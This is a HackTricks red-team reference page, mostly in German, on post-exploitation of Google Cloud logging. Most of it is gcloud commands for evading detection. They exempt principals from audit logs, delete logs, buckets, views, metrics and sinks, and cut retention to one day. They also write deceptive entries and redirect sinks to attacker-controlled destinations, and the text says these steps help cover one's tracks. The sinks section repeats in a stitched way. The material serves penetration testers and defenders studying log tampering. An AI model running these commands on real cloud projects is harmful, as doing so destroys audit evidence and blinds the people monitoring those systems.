GCP - Logging Post Exploitation

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks

Grundlegende Informationen

Für weitere Informationen siehe:

GCP - Logging Enum

Für andere Möglichkeiten zur Störung der Überwachung siehe:

GCP - Monitoring Post Exploitation

Standardprotokollierung

Standardmäßig wirst du nicht nur für das Ausführen von Leseaktionen erwischt. Weitere Informationen findest du im Abschnitt Logging Enum.

Ausnahmeprinzipal hinzufügen

In https://console.cloud.google.com/iam-admin/audit/allservices und https://console.cloud.google.com/iam-admin/audit ist es möglich, Principals hinzuzufügen, um keine Protokolle zu generieren. Ein Angreifer könnte dies ausnutzen, um nicht erwischt zu werden.

Protokolle lesen - logging.logEntries.list

# Read logs
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json

# Everything from a timestamp
gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=json

# Use these options to indicate a different bucket or view to use: --bucket=_Required  --view=_Default

logging.logs.delete

# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete <log-name>

Logs schreiben - logging.logEntries.create

# Write a log entry to try to disrupt some system
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR

logging.buckets.update

# Set retention period to 1 day (_Required has a fixed one of 400days)

gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1

logging.buckets.delete

# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=<location>

logging.links.delete

# Delete link
gcloud logging links delete <link-id> --bucket <bucket> --location <location>

logging.views.delete

# Delete a logging view to remove access to anyone using it
gcloud logging views delete <view-id> --bucket=<bucket> --location=global

logging.views.update

# Update a logging view to hide data
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"

logging.logMetrics.update

# Update log based metrics - logging.logMetrics.update
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID

logging.logMetrics.delete

# Delete log based metrics - logging.logMetrics.delete
gcloud logging metrics delete <metric-name>

logging.sinks.delete

Dieser Befehl löscht einen vorhandenen Log-Sink. Dies kann nützlich sein, um die Protokollierung von Aktivitäten zu stoppen, die Ihre Anwesenheit verraten könnten.

gcloud logging sinks delete [SINK_NAME]

logging.sinks.update

Mit diesem Befehl können Sie einen vorhandenen Log-Sink aktualisieren. Sie könnten dies verwenden, um die Protokollierung an einen Ort umzuleiten, den Sie kontrollieren.

gcloud logging sinks update [SINK_NAME] --destination=[NEW_DESTINATION]

logging.sinks.create

Dieser Befehl erstellt einen neuen Log-Sink. Dies kann nützlich sein, um Protokolle an einen Ort umzuleiten, den Sie kontrollieren.

gcloud logging sinks create [SINK_NAME] [DESTINATION]

logging.logs.delete

Mit diesem Befehl können Sie bestimmte Logs löschen. Dies kann nützlich sein, um Spuren Ihrer Aktivitäten zu verwischen.

gcloud logging logs delete [LOG_NAME]

logging.metrics.delete

Dieser Befehl löscht eine vorhandene Log-basierte Metrik. Dies kann nützlich sein, um die Überwachung Ihrer Aktivitäten zu verhindern.

gcloud logging metrics delete [METRIC_NAME]
# Delete sink - logging.sinks.delete
gcloud logging sinks delete <sink-name>

logging.sinks.update

# Disable sink - logging.sinks.update
gcloud logging sinks update <sink-name> --disabled

# Createa filter to exclude attackers logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --add-exclusion="name=exclude-info-logs,filter=severity<INFO"

# Change where the sink is storing the data - logging.sinks.update
gcloud logging sinks update <sink-name> new-destination

# Change the service account to one withuot permissions to write in the destination - logging.sinks.update
gcloud logging sinks update SINK_NAME --custom-writer-identity=attacker-service-account-email --project=PROJECT_ID

# Remove explusions to try to overload with logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --clear-exclusions

# If the sink exports to BigQuery, an attacker might enable or disable the use of partitioned tables, potentially leading to inefficient querying and higher costs. - logging.sinks.update
gcloud logging sinks update SINK_NAME --use-partitioned-tables
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks

Last updated